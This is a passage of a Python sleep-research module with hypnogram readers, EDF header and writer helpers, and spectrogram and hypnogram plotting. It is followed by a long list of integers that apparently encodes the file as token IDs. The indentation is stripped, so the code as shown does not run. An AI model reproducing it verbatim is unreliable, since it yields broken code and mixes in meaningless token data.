stage_str = instance.attrib['class']
try: stage_nr = conv_dict[stage_str.upper()]
except KeyError as e:
print(f'Unknown sleep stage in file {hypno_file} : {stage_str}')
raise e
duration = int(instance.find('Duration').text)
if duration!=30:
raise ValueError(f'Duration!=30, not expected: {duration}')
stages.extend([stage_nr]*duration)
stages = np.array(stages)
else:
raise ValueError('This is not a recognized hypnogram: {}'.format(hypno_file))
stages = stages[::epochlen]
if len(stages)==0:
print('[WARNING] hypnogram loading failed, len == 0')
return np.array(stages)
def infer_eeg_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
f = ['EEG Fz', 'EEG F4', 'EEG Fpz', 'EEG Fp1', 'EEG Fp2']
c = ['EEG C4', 'EEG C3']
o = ['EEG Oz', 'EEG O2', 'EEG O1']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in f]):
found.append(ch)
break
# find central channel
for ch in ch_names:
if any([x in ch for x in c]):
found.append(ch)
break
# find occipital channel
for ch in ch_names:
if any([x in ch for x in o]):
found.append(ch)
break
return found
def infer_eog_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
eog = ['EOG ROC', 'EOG LOC']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in eog]):
found.append(ch)
return found
def infer_emg_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
emg = ['EM<NAME>']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in emg]):
found.append(ch)
return found
def hypno2time(hypno, seconds_per_epoch=1):
"""
Converts a hypnogram based in epochs into the format as defined
by VisBrain: http://visbrain.org/sleep.html#save-hypnogram
"""
hypno = np.repeat(hypno, seconds_per_epoch)
s = '*Duration_sec {}\n'.format(len(hypno))
stages = ['Wake', 'N1', 'N2', 'N3', 'REM', 'Art']
d = dict(enumerate(stages))
hypno_str = [d[h] for h in hypno]
last_stage=hypno_str[0]
for second, stage in enumerate(hypno_str):
if stage!=last_stage:
s += '{}\t{}\n'.format(last_stage, second)
last_stage=stage
s += '{}\t{}\n'.format(stage, second+1)
return s
def write_hypnogram(hypno, filename, seconds_per_annotation=30,
comment=None, overwrite=False):
"""
Save a hypnogram based on annotations per epochs in VisBrain style
(ie. The exact onset of each sleep stage is annotated in time space.)
This format is recommended for saving hypnograms as it avoids ambiguity.
:param filename: where to save the data
:param hypno: The hypnogram either as list or np.array
:param seconds_per_epoch: How many seconds each annotation contains
:param comment: Add a comment to the beginning of the file
:param overwrite: overwrite file?
"""
assert not ospath.exists(filename) or overwrite, \
'File already exists, no overwrite'
hypno = np.repeat(hypno, seconds_per_annotation)
hypno_str = hypno2time(hypno)
if comment is not None:
comment = comment.replace('\n', '\n*')
hypno_str = '*' + comment + '\n' + hypno_str
hypno_str = hypno_str.replace('\n\n', '\n')
with open(filename, 'w') as f:
f.write(hypno_str)
return True
def minmax2lsb(dmin, dmax, pmin, pmax):
"""
converts the edf min/max values to lsb and offset (x*m+b)
"""
lsb = (pmax - pmin) / (dmax - dmin)
offset = pmax / lsb - dmax
return lsb, offset
def make_header(technician='', recording_additional='', patientname='',
patient_additional='', patientcode= '', equipment= '',
admincode= '', gender= '', startdate=None, birthdate= ''):
"""
A convenience function to create an EDF header (a dictionary) that
can be used by pyedflib to update the main header of the EDF
"""
if not( startdate is None or isinstance(startdate, datetime)):
warnings.warn('must be datetime or None, is {}: {},attempting convert'\
.format(type(startdate), startdate))
startdate = dateparser.parse(startdate)
if not (birthdate == '' or isinstance(birthdate, (datetime,str))):
warnings.warn('must be datetime or empty, is {}, {}'\
.format(type(birthdate), birthdate))
birthdate = dateparser.parse(birthdate)
if startdate is None:
now = datetime.now()
startdate = datetime(now.year, now.month, now.day,
now.hour, now.minute, now.second)
del now
if isinstance(birthdate, datetime):
birthdate = birthdate.strftime('%d %b %Y')
local = locals()
header = {}
for var in local:
if isinstance(local[var], datetime):
header[var] = local[var]
else:
header[var] = str(local[var])
return header
def make_signal_header(label, dimension='uV', sample_rate=256,
physical_min=-200, physical_max=200, digital_min=-32768,
digital_max=32767, transducer='', prefiler=''):
"""
A convenience function that creates a signal header for a given signal.
This can be used to create a list of signal headers that is used by
pyedflib to create an edf. With this, different sampling frequencies
can be indicated.
:param label: the name of the channel
"""
signal_header = {'label': label,
'dimension': dimension,
'sample_rate': sample_rate,
'physical_min': physical_min,
'physical_max': physical_max,
'digital_min': digital_min,
'digital_max': digital_max,
'transducer': transducer,
'prefilter': prefiler}
return signal_header
def make_signal_headers(list_of_labels, dimension='uV', sample_rate=256,
physical_min=-200, physical_max=200, digital_min=-32768,
digital_max=32767, transducer='', prefiler=''):
"""
A function that creates signal headers for a given list of channel labels.
This can only be used if each channel has the same sampling frequency
:param list_of_labels: A list with labels for each channel.
:returns: A dictionary that can be used by pyedflib to update the header
"""
signal_headers = []
for label in list_of_labels:
header = make_signal_header(label, dimension=dimension, sample_rate=sample_rate,
physical_min=physical_min, physical_max=physical_max,
digital_min=digital_min, digital_max=digital_max,
transducer=transducer, prefiler=prefiler)
signal_headers.append(header)
return signal_headers
def write_edf(edf_file, signals, signal_headers, header, digital=False,
correct=False):
"""
Write signals to an edf_file. Header can be generated on the fly.
:param signals: The signals as a list of arrays or a ndarray
:param signal_headers: a list with one signal header(dict) for each signal.
See pyedflib.EdfWriter.setSignalHeader
:param header: a main header (dict) for the EDF file, see
pyedflib.EdfWriter.setHeader for details
:param digital: whether signals are presented digitally
or in physical values
:returns: True if successful, False if failed
"""
assert header is None or isinstance(header, dict), \
'header must be dictioniary'
assert isinstance(signal_headers, list), \
'signal headers must be list'
assert len(signal_headers)==len(signals), \
'signals and signal_headers must be same length'
n_channels = len(signals)
# check min and max values
if digital==True and correct:
for sig, sigh in zip(signals,signal_headers):
dmin, dmax = sigh['digital_min'], sigh['digital_max']
pmin, pmax = sigh['physical_min'], sigh['physical_max']
ch_name=sigh['label']
if dmin>dmax:
logging.warning('{}: dmin>dmax, {}>{}, will correct'.format(\
ch_name, dmin, dmax))
dmin, dmax = dmax, dmin
sig *= -1
if pmin>pmax:
logging.warning('{}: pmin>pmax, {}>{}, will correct'.format(\
ch_name, pmin, pmax))
pmin, pmax = pmax, pmin
sig *= -1
dsmin, dsmax = round(sig.min()), round(sig.max())
psmin = dig2phys(dsmin, dmin, dmax, pmin, pmax)
psmax = dig2phys(dsmax, dmin, dmax, pmin, pmax)
min_dist = np.abs(dig2phys(1, dmin, dmax, pmin, pmax))
if dsmin<dmin:
logging.warning('{}:Digital signal minimum is {}'\
', but value range is {}, will correct'.format\
(ch_name, dmin, dsmin))
dsmin = min(dsmin, 32767)
sigh['digital_min'] = dsmin
if dsmax>dmax:
logging.warning('{}:Digital signal maximum is {}'\
', but value range is {}, will correct'.format\
(ch_name, dmax, dsmax))
dsmax = min(dsmax, 32767)
sigh['digital_max'] = dsmax
if psmax-min_dist>pmax:
logging.warning('{}:Phyiscal signal maximum is {}'\
', but value range is {}, will correct'.format\
(ch_name, pmax, psmax))
sigh['physical_max'] = psmax
if psmin+min_dist<pmin:
logging.warning('{}:Physical signal minimum is {}'\
', but value range is {}, will correct'.format\
(ch_name, pmin, psmin))
sigh['physical_min'] = psmin
# also add annotations
annotations = header.get('annotations', '')
with pyedflib.EdfWriter(edf_file, n_channels=n_channels) as f:
f.setSignalHeaders(signal_headers)
f.setHeader(header)
f.writeSamples(signals, digital=digital)
for annotation in annotations:
f.writeAnnotation(*annotation)
del f
return os.path.isfile(edf_file)
def change_polarity(edf_file, channels, new_file=None):
if new_file is None:
new_file = os.path.splitext(edf_file)[0] + '_inv.edf'
if isinstance(channels, str): channels=[channels]
channels = [c.lower() for c in channels]
signals, signal_headers, header = read_edf(edf_file, digital=True)
for i,sig in enumerate(signals):
shead = signal_headers[i]
label = signal_headers[i]['label'].lower()
if label in channels:
print('inverting {}'.format(label))
shead['physical_min']*=-1
shead['physical_max']*=-1
write_edf(new_file, signals, signal_headers, header, digital=True)
compare_edf(edf_file, new_file)
def specgram_multitaper(data, sfreq, sperseg=30, perc_overlap=1/3,
lfreq=0, ufreq=40, show_plot=True, title='', ax=None):
"""
Display EEG spectogram using a multitaper from 0-30 Hz
:param data: the data to visualize, should be of rank 1
:param sfreq: the sampling frequency of the data
:param sperseg: number of seconds to use per FFT
:param noverlap: percentage of overlap between segments
:param lfreq: Lower frequency to display
:param ufreq: Upper frequency to display
:param show_plot: If false, only the mesh is returned, but not Figure opened
:param ax: An axis where to plot. Else will create a new Figure
:returns: the resulting mesh as it would be plotted
"""
if ax is None:
plt.figure()
ax=plt.subplot(1,1,1)
assert isinstance(show_plot, bool), 'show_plot must be boolean'
nperseg = int(round(sperseg * sfreq))
overlap = int(round(perc_overlap * nperseg))
f_range = [lfreq, ufreq]
freq, xy, mesh = spectrogram_lspopt(data, sfreq, nperseg=nperseg,
noverlap=overlap, c_parameter=20.)
if mesh.ndim==3: mesh = mesh.squeeze().T
mesh = 20 * np.log10(mesh+0.0000001)
idx_notfinite = np.isfinite(mesh)==False
mesh[idx_notfinite] = np.min(mesh[~idx_notfinite])
f_range[1] = np.abs(freq - ufreq).argmin()
sls = slice(f_range[0], f_range[1] + 1)
freq = freq[sls]
mesh = mesh[sls, :]
mesh = mesh - mesh.min()
mesh = mesh / mesh.max()
if show_plot:
ax.imshow(np.flipud(mesh), aspect='auto')
formatter = matplotlib.ticker.FuncFormatter(lambda s, x: time.strftime('%H:%M', time.gmtime(int(s*(sperseg-overlap/sfreq)))))
ax.xaxis.set_major_formatter(formatter)
if xy[-1]<3600*7: # 7 hours is half hourly
tick_distance = max(np.argmax(xy>sperseg*60),5) #plot per half hour
else: # more than 7 hours hourly ticks
tick_distance = np.argmax(xy>sperseg*60)*2 #plot per half hour
two_hz_pos = np.argmax(freq>1.99999999)
ytick_pos = np.arange(0, len(freq), two_hz_pos)
ax.set_xticks(np.arange(0, mesh.shape[1], tick_distance))
ax.set_yticks(ytick_pos)
ax.set_yticklabels(np.arange(ufreq, lfreq-1, -2))
ax.set_xlabel('Time after onset')
ax.set_ylabel('Frequency')
ax.set_title(title)
warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible')
plt.tight_layout()
return mesh
def plot_hypnogram(stages, labeldict=None, title=None, epochlen=30, ax=None,
verbose=True, xlabel=True, ylabel=True, **kwargs,):
"""
Plot a hypnogram, the flexible way.
A labeldict should give a mapping which integer belongs to which class
E.g labeldict = {0: 'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS'}
or {0:'Wake', 1:'Sleep', 2:'Sleep', 3:'Sleep', 4:'Sleep', 5:'Artefact'}
The order of the labels on the plot will be determined by the order of the dictionary.
E.g. {0:'Wake', 1:'REM', 2:'NREM'} will plot Wake on top, then REM, then NREM
while {0:'Wake', 2:'NREM', 1:'NREM'} will plot Wake on top, then NREM, then REM
This dictionary can be infered automatically from the numbers that are present
in the hypnogram but this functionality does not cover all cases.
:param stages: An array with different stages annotated as integers
:param labeldict: An enumeration of labels that correspond to the integers of stages
:param title: Title of the window
:param epochlen: How many seconds is one epoch in this annotation
:param ax: the axis in which we plot
:param verbose: Print stuff or not.
:param xlabel: Display xlabel ('Time after record start')
:param ylabel: Display ylabel ('Sleep Stage')
:param kwargs: additional arguments passed to plt.plot(), e.g. c='red'
"""
if labeldict is None:
labeldict = {}
_defaultdict = {-1: 'A', 0:'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS', 5:'Artefact'}
if set(stages) == set([0, 1]):
labeldict = {0:'Wake', 1:'Sleep'}
elif set(stages) == set([0, 1, 2]):
labeldict = {0:'Wake', 2:'REM', 1:'NREM'}
else:
for stage in _defaultdict:
if stage in stages:
labeldict[stage] = _defaultdict[stage]
if verbose: print('Assuming {}'.format(labeldict))
# check if all stages that are in the hypnogram have a corresponding label in the dict
for stage in np.unique(stages):
if not stage in labeldict:
print('WARNING: {} is in stages, but not in labeldict, stage will be ??'.format(stage))
# create the label order
labels = [labeldict[l] for l in labeldict]
labels = sorted(set(labels), key=labels.index)
# we iterate through the stages and fetch the label for this stage
# then we append the position on the plot of this stage via the labels-dict
x = []
y = []
rem_start = []
rem_end = []
for i in np.arange(len(stages)):
s = stages[i]
label = labeldict.get(s)
if label is None:
p = 99
if '??' not in labels: labels.append('??')
else :
p = -labels.index(label)
# make some red line markers for REM, mark beginning and end of REM
if 'REM' in labels:
if label=='REM' and len(rem_start)==len(rem_end):
rem_start.append(i-2)
elif label!='REM' and len(rem_start)>len(rem_end):
rem_end.append(i-1)
if label=='REM' and i==len(stages)-1:
rem_end.append(i+1)
if i!=0:
y.append(p)
x.append(i-1)
y.append(p)
x.append(i)
assert len(rem_start)==len(rem_end), 'Something went wrong in REM length calculation'
x = np.array(x)*epochlen
y = np.array(y)
y[y==99] = y.min()-1 # make sure Unknown stage is plotted below all else
if ax is None:
plt.figure()
ax = plt.gca()
formatter = matplotlib.ticker.FuncFormatter(lambda s, x: time.strftime('%H:%M', time.gmtime(s)))
ax.plot(x,y, **kwargs)
ax.set_xlim(0, x[-1])
ax.xaxis.set_major_formatter(formatter)
ax.set_yticks(np.arange(len(np.unique(labels)))*-1)
ax.set_yticklabels(labels)
ax.set_xticks(np.arange(0,x[-1],3600))
if xlabel: plt.xlabel('Time after recording start')
if ylabel: plt.ylabel('Sleep Stage')
if title is not None:
plt.title(title)
try:
warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible')
plt.tight_layout()
except Exception: pass
# plot REM in RED here
for start, end in zip(rem_start, rem_end):
height = -labels.index('REM')
ax.hlines(height, start*epochlen, end*epochlen, color='r',
linewidth=4, zorder=99)
| [
1,
529,
9507,
29958,
17059,
29918,
13239,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
498,
29884,
2864,
29871,
29906,
29896,
29871,
29906,
29900,
29901,
29896,
29929,
29901,
29906,
29953,
29871,
29906,
29900,
29896,
29929,
13,
13,
29992,
8921,
29901,
2071,
29926,
824,
29879,
13,
15945,
29908,
13,
3166,
11451,
287,
29888,
1982,
29889,
9812,
5563,
1053,
334,
13,
5215,
2897,
13,
5215,
330,
29883,
13,
5215,
18116,
13,
5215,
288,
1028,
493,
396,
13096,
2601,
2045,
597,
3292,
29889,
510,
29914,
808,
29926,
824,
29879,
29914,
808,
29926,
824,
29879,
29899,
13239,
13,
5215,
12655,
408,
7442,
13,
5215,
11451,
287,
29888,
1982,
396,
13096,
2601,
2045,
597,
3292,
29889,
510,
29914,
808,
29926,
824,
29879,
29914,
2272,
287,
29888,
1982,
29914,
10867,
29914,
6341,
29918,
3259,
29889,
7554,
13,
5215,
931,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
3166,
12865,
1053,
12865,
13,
5215,
2635,
16680,
13,
5215,
12183,
13,
3166,
4982,
1982,
1053,
1459,
6553,
29892,
29801,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
301,
1028,
3670,
1053,
6683,
307,
1393,
29918,
29880,
1028,
3670,
13,
5215,
22889,
13,
13,
13,
13,
1753,
1303,
29918,
29882,
1478,
29876,
13342,
29898,
29882,
1478,
1217,
29918,
1445,
29892,
21502,
305,
2435,
353,
29871,
29941,
29900,
29892,
21502,
305,
2435,
29918,
262,
1445,
29922,
8516,
29892,
4464,
2433,
6921,
742,
1518,
29918,
23128,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
13623,
263,
10163,
29876,
13342,
934,
408,
2825,
491,
5741,
22097,
470,
408,
16874,
1134,
29871,
13,
268,
13,
1678,
584,
3207,
10163,
1217,
29918,
1445,
29901,
263,
2224,
304,
278,
10163,
29876,
13342,
13,
1678,
584,
3207,
21502,
305,
2435,
29901,
920,
1784,
6923,
639,
3858,
297,
1962,
13,
1678,
584,
3207,
21502,
305,
2435,
29918,
262,
1445,
29901,
920,
1784,
6923,
639,
3858,
297,
2441,
934,
13,
1678,
584,
3207,
4464,
29901,
525,
6921,
742,
525,
2230,
29915,
470,
525,
7638,
742,
1074,
317,
5436,
16618,
29914,
2640,
29914,
29882,
1478,
29876,
13342,
29889,
3487,
13,
1678,
584,
3207,
1518,
29918,
23128,
29901,
1128,
1784,
6923,
947,
278,
9686,
16867,
505,
29973,
13,
1678,
9995,
13,
1678,
4974,
851,
29898,
1853,
29898,
1022,
2878,
2435,
29897,
3101,
1275,
525,
29900,
29915,
13,
1678,
4974,
21502,
305,
2435,
29918,
262,
1445,
338,
6213,
470,
851,
29898,
1853,
29898,
1022,
2878,
2435,
29918,
262,
1445,
29897,
3101,
1275,
525,
29900,
29915,
13,
13,
1678,
411,
1722,
29898,
29882,
1478,
1217,
29918,
1445,
29892,
525,
29878,
1495,
408,
934,
29901,
13,
4706,
2793,
353,
934,
29889,
949,
580,
13,
4706,
2793,
353,
2793,
29889,
6506,
28909,
29878,
742,
27255,
396,
3349,
5417,
3114,
320,
29878,
29905,
29876,
13,
308,
13,
1678,
396,
535,
3259,
8600,
13,
1678,
7602,
29918,
8977,
353,
11117,
12982,
6059,
2396,
29900,
29892,
525,
29956,
2477,
29950,
2396,
29900,
29892,
525,
29956,
29968,
2396,
29900,
29892,
525,
29940,
12982,
6059,
2396,
29871,
29900,
29892,
13,
462,
525,
29940,
29896,
2396,
29871,
29896,
29892,
525,
29940,
1525,
29924,
29896,
2396,
29871,
29896,
29892,
13,
462,
525,
29940,
29906,
2396,
29871,
29906,
29892,
525,
29940,
1525,
29924,
29906,
2396,
29871,
29906,
29892,
13,
462,
525,
29940,
29941,
2396,
29871,
29941,
29892,
525,
29940,
1525,
29924,
29941,
2396,
29871,
29941,
29892,
13,
462,
525,
29940,
29946,
2396,
29941,
29892,
525,
29940,
1525,
29924,
29946,
2396,
29871,
29941,
29892,
13,
462,
525,
1525,
29924,
2396,
29871,
29946,
29892,
13,
462,
29871,
29900,
29901,
29900,
29892,
29871,
29896,
29901,
29896,
29892,
29871,
29906,
29901,
29906,
29892,
29871,
29941,
29901,
29941,
29892,
29871,
29946,
29901,
29946,
29892,
448,
29896,
29901,
29945,
29892,
29871,
29945,
29901,
29945,
29892,
13,
462,
525,
8322,
2396,
29871,
29945,
29892,
525,
29909,
2396,
29945,
29892,
525,
1718,
4330,
4519,
29968,
29911,
2396,
29945,
29892,
525,
29947,
2396,
29871,
29945,
29892,
13,
462,
525,
11490,
2396,
29945,
29892,
525,
15349,
8851,
29954,
3904,
29954,
2396,
29945,
29892,
525,
29929,
2396,
29945,
29892,
525,
29973,
2396,
29871,
29945,
29892,
525,
525,
29901,
29871,
29945,
29892,
525,
29940,
2190,
2396,
29871,
29945,
29892,
13,
462,
525,
29965,
3059,
3217,
19386,
2396,
29871,
29945,
29913,
13,
268,
13,
1678,
3454,
353,
2793,
29889,
5451,
28909,
29876,
1495,
13,
1678,
565,
4464,
1360,
29915,
6921,
2396,
13,
4706,
565,
3454,
29961,
29900,
1822,
27382,
2541,
877,
29930,
29374,
396,
565,
727,
338,
263,
5810,
29892,
591,
5251,
372,
29915,
29879,
278,
1998,
2634,
262,
1134,
13,
9651,
4464,
353,
525,
1730,
2634,
262,
29915,
13,
4706,
25342,
3454,
29961,
29900,
1822,
6506,
877,
29899,
742,
525,
2824,
275,
21574,
7295,
13,
9651,
4464,
353,
525,
7638,
29915,
13,
4706,
25342,
3454,
29961,
29900,
1822,
27382,
2541,
877,
29961,
29950,
1478,
29876,
13342,
29909,
3289,
29924,
29962,
29374,
13,
9651,
4464,
353,
525,
29881,
1633,
29879,
29915,
13,
4706,
25342,
3454,
29961,
29900,
1822,
27382,
2541,
877,
382,
1129,
305,
9681,
1919,
4763,
5974,
1919,
29903,
5436,
24906,
29374,
13,
9651,
4464,
353,
525,
284,
625,
29915,
13,
4706,
25342,
525,
370,
303,
603,
29915,
297,
3454,
29961,
29900,
5387,
13,
9651,
4464,
353,
525,
4130,
29915,
13,
4706,
25342,
3454,
29961,
29900,
1822,
27382,
2541,
877,
10140,
284,
3553,
11283,
1125,
13,
9651,
4464,
353,
525,
22708,
17639,
5576,
29915,
13,
4706,
25342,
738,
18959,
29880,
4347,
29899,
29915,
297,
921,
363,
921,
297,
3454,
7503,
29945,
5262,
1125,
13,
9651,
4464,
353,
525,
29880,
4347,
29915,
13,
4706,
25342,
10163,
1217,
29918,
1445,
29889,
1975,
2541,
12839,
29872,
6735,
29374,
13,
9651,
4464,
353,
525,
7638,
29915,
13,
4706,
1683,
584,
13,
9651,
4464,
1360,
8516,
13,
13,
1678,
396,
5183,
934,
297,
3402,
408,
1304,
491,
529,
5813,
29958,
13,
1678,
396,
2066,
411,
263,
1418,
7416,
639,
7408,
17195,
13,
1678,
565,
4464,
1360,
29915,
4130,
2396,
13,
13,
4706,
565,
21502,
305,
2435,
29918,
262,
1445,
338,
451,
6213,
29901,
13,
9651,
18116,
29889,
25442,
877,
1022,
2878,
2435,
29918,
262,
1445,
756,
1063,
19056,
29892,
541,
10163,
29876,
13342,
338,
29915,
29871,
13,
462,
3986,
525,
2230,
2729,
29892,
674,
367,
17262,
1495,
13,
4706,
25342,
1518,
29918,
23128,
322,
451,
21502,
305,
2435,
29918,
262,
1445,
29901,
13,
9651,
21502,
305,
2435,
29918,
262,
1445,
29922,
4548,
29918,
23128,
458,
2435,
29898,
9012,
29897,
13,
9651,
1596,
877,
29961,
11690,
29962,
17090,
11799,
25495,
411,
697,
6251,
639,
6571,
6923,
4286,
4830,
29898,
1022,
2878,
2435,
29918,
262,
1445,
876,
13,
13,
4706,
22950,
353,
5159,
13,
4706,
363,
1196,
29896,
29892,
1196,
29906,
297,
14319,
29898,
9012,
29961,
29896,
13018,
29896,
1402,
3454,
29961,
29906,
17531,
1125,
13,
9651,
565,
7431,
29898,
1220,
29896,
29889,
17010,
3101,
1360,
29900,
29901,
6773,
396,
14383,
4069,
3454,
13,
9651,
565,
7431,
29898,
1220,
29906,
29889,
17010,
3101,
1360,
29900,
29901,
6773,
396,
14383,
4069,
3454,
13,
13,
9651,
16256,
29918,
29873,
29892,
17117,
7408,
29892,
334,
29918,
353,
1196,
29896,
29889,
5451,
28909,
29873,
1495,
13,
9651,
2446,
29918,
29873,
29892,
29930,
29918,
353,
1196,
29906,
29889,
5451,
28909,
29873,
1495,
13,
9651,
16256,
29918,
29873,
353,
12865,
29889,
710,
415,
603,
29898,
21962,
29918,
29873,
29892,
14210,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
1495,
13,
9651,
2446,
29918,
29873,
353,
12865,
29889,
710,
415,
603,
29898,
4622,
29918,
29873,
29892,
14210,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
1495,
13,
9651,
4974,
2446,
29918,
29873,
1405,
16256,
29918,
29873,
29892,
525,
16394,
29871,
29906,
338,
7968,
1135,
29871,
29896,
29973,
6571,
529,
6571,
4286,
4830,
29898,
4622,
29918,
29873,
29892,
16256,
29918,
29873,
29897,
13,
632,
13,
9651,
5226,
29918,
12765,
353,
313,
4622,
29918,
29873,
448,
16256,
29918,
29873,
467,
23128,
13,
9651,
565,
1518,
29918,
23128,
322,
21502,
305,
2435,
29918,
262,
1445,
19216,
3471,
29918,
12765,
29901,
29871,
13,
18884,
18116,
29889,
25442,
877,
29923,
1129,
305,
2435,
297,
934,
338,
6571,
541,
6571,
723,
367,
4629,
4286,
4830,
29898,
3471,
29918,
12765,
29892,
21502,
305,
2435,
29918,
262,
1445,
876,
13,
632,
13,
9651,
7408,
353,
7602,
29918,
8977,
29961,
19190,
29889,
21064,
580,
29962,
13,
9651,
22950,
29889,
21843,
4197,
19190,
14178,
3471,
29918,
12765,
29897,
13,
268,
13,
1678,
25342,
4464,
1360,
29915,
22708,
17639,
5576,
2396,
13,
4706,
565,
21502,
305,
2435,
29918,
262,
1445,
338,
451,
6213,
29901,
13,
9651,
18116,
29889,
25442,
877,
1022,
2878,
2435,
29918,
262,
1445,
756,
1063,
19056,
29892,
541,
2472,
338,
297,
934,
29892,
674,
367,
17262,
1495,
13,
308,
13,
4706,
21502,
305,
2435,
29918,
262,
1445,
353,
938,
29898,
9012,
29961,
29945,
1822,
6506,
877,
19907,
29901,
13420,
525,
2824,
6506,
877,
29879,
3788,
8785,
13,
4706,
22950,
353,
5159,
13,
4706,
363,
1196,
297,
3454,
29961,
29953,
29901,
5387,
13,
9651,
565,
7431,
29898,
1220,
29889,
17010,
3101,
1360,
29900,
29901,
6773,
396,
14383,
4069,
3454,
13,
632,
13,
9651,
17117,
19190,
353,
1196,
29889,
5451,
877,
29936,
25710,
13,
9651,
7408,
353,
7602,
29918,
8977,
29961,
19190,
29889,
21064,
580,
29962,
13,
9651,
22950,
29889,
21843,
4197,
19190,
14178,
1022,
2878,
2435,
29918,
262,
1445,
29897,
13,
13,
1678,
396,
1303,
10163,
29876,
13342,
408,
3971,
491,
1998,
2634,
262,
313,
2230,
2729,
29897,
13,
1678,
25342,
4464,
1360,
29915,
1730,
2634,
262,
2396,
13,
4706,
565,
21502,
305,
2435,
29918,
262,
1445,
338,
451,
6213,
29901,
13,
9651,
18116,
29889,
25442,
877,
1022,
2878,
2435,
29918,
262,
1445,
756,
1063,
19056,
29892,
541,
10163,
29876,
13342,
338,
931,
2729,
5501,
13,
462,
3986,
525,
14043,
367,
17262,
1495,
13,
4706,
22950,
353,
5159,
13,
4706,
12379,
29918,
29873,
353,
29871,
29900,
13,
4706,
363,
1196,
297,
3454,
29901,
13,
9651,
565,
7431,
29898,
1220,
29889,
17010,
3101,
1360,
29900,
29901,
259,
6773,
13,
9651,
565,
1196,
29961,
29900,
29962,
297,
525,
29930,
29937,
29995,
29914,
1966,
29908,
20333,
2396,
6773,
396,
445,
1196,
2444,
304,
367,
263,
3440,
13,
9651,
269,
29892,
260,
353,
1196,
29889,
5451,
28909,
29873,
1495,
13,
9651,
260,
353,
5785,
29898,
29873,
29897,
13,
9651,
269,
353,
7602,
29918,
8977,
29961,
29879,
29889,
21064,
580,
29962,
13,
9651,
301,
353,
938,
29898,
9302,
29889,
14486,
3552,
29873,
29899,
16304,
29918,
29873,
4961,
396,
3309,
310,
445,
7408,
13,
9651,
22950,
29889,
21843,
4197,
29879,
14178,
29880,
29897,
13,
9651,
12379,
29918,
29873,
353,
260,
13,
632,
13,
1678,
396,
1303,
10163,
29876,
13342,
408,
2560,
16874,
934,
29892,
1353,
2729,
470,
1347,
2729,
13,
1678,
25342,
4464,
1360,
29915,
7638,
2396,
13,
4706,
565,
1518,
29918,
23128,
322,
451,
21502,
305,
2435,
29918,
262,
1445,
29901,
13,
9651,
21502,
305,
2435,
29918,
262,
1445,
29922,
4548,
29918,
23128,
458,
2435,
29898,
9012,
29897,
13,
9651,
1596,
877,
29961,
11690,
29962,
17090,
11799,
25495,
411,
697,
6251,
639,
6571,
6923,
4286,
4830,
29898,
1022,
2878,
2435,
29918,
262,
1445,
876,
13,
13,
4706,
25342,
21502,
305,
2435,
29918,
262,
1445,
338,
6213,
29901,
29871,
13,
9651,
565,
7431,
29898,
9012,
29897,
529,
29871,
29906,
29945,
29900,
29900,
29901,
396,
591,
5251,
694,
16867,
338,
5520,
1135,
29871,
29906,
29896,
6199,
13,
18884,
21502,
305,
2435,
29918,
262,
1445,
353,
29871,
29941,
29900,
13,
9651,
1683,
29901,
13,
18884,
21502,
305,
2435,
29918,
262,
1445,
353,
29871,
29896,
13,
18884,
1596,
877,
29961,
11690,
29962,
17090,
11799,
25495,
526,
639,
1473,
1495,
13,
4706,
3454,
353,
518,
20580,
29918,
8977,
29961,
29880,
29889,
21064,
580,
29962,
565,
338,
8758,
29898,
29880,
29892,
851,
29897,
1683,
938,
29898,
29880,
29897,
363,
301,
297,
3454,
565,
7431,
29898,
29880,
15410,
29900,
29962,
13,
4706,
3454,
353,
5519,
1220,
14178,
1022,
2878,
2435,
29918,
262,
1445,
363,
1196,
297,
3454,
29962,
13,
4706,
22950,
353,
7442,
29889,
2378,
29898,
9012,
467,
1579,
8606,
580,
13,
268,
13,
1678,
396,
363,
278,
16814,
29879,
5470,
29871,
13,
1678,
396,
1732,
597,
1636,
29889,
29873,
312,
29879,
29889,
18091,
1516,
29889,
562,
29889,
915,
24629,
3359,
29884,
858,
29914,
16390,
370,
2129,
29914,
9112,
20622,
29879,
29914,
268,
13,
1678,
25342,
4464,
1360,
29915,
29881,
1633,
29879,
2396,
13,
4706,
21502,
305,
2435,
29918,
262,
1445,
353,
29871,
29945,
13,
4706,
7602,
29918,
8977,
353,
21389,
29906,
29901,
29945,
6653,
29896,
29901,
29945,
29892,
29871,
29900,
29901,
29945,
29892,
29871,
29896,
29901,
29941,
29892,
29871,
29906,
29901,
29906,
29892,
29871,
29941,
29901,
29896,
29892,
29871,
29946,
29901,
29946,
29892,
29871,
29945,
29901,
29900,
29913,
268,
13,
4706,
3454,
353,
5519,
524,
29898,
1220,
4638,
363,
1196,
297,
3454,
29961,
29896,
17531,
565,
7431,
29898,
1220,
15410,
29900,
29962,
13,
4706,
3454,
353,
5519,
1220,
14178,
1022,
2878,
2435,
29918,
262,
1445,
363,
1196,
297,
3454,
29962,
13,
4706,
22950,
353,
7442,
29889,
2378,
4197,
20580,
29918,
8977,
29961,
29880,
29889,
21064,
580,
29962,
363,
301,
297,
7442,
29889,
2378,
29898,
9012,
467,
1579,
8606,
580,
2314,
13,
308,
13,
1678,
396,
363,
10163,
29876,
13342,
2825,
411,
16308,
29871,
29945,
7047,
13,
1678,
25342,
4464,
1360,
29915,
284,
625,
2396,
13,
4706,
21502,
305,
2435,
29918,
262,
1445,
353,
29871,
29941,
29900,
13,
4706,
3454,
353,
518,
1220,
29889,
5451,
29317,
1495,
14352,
29896,
29962,
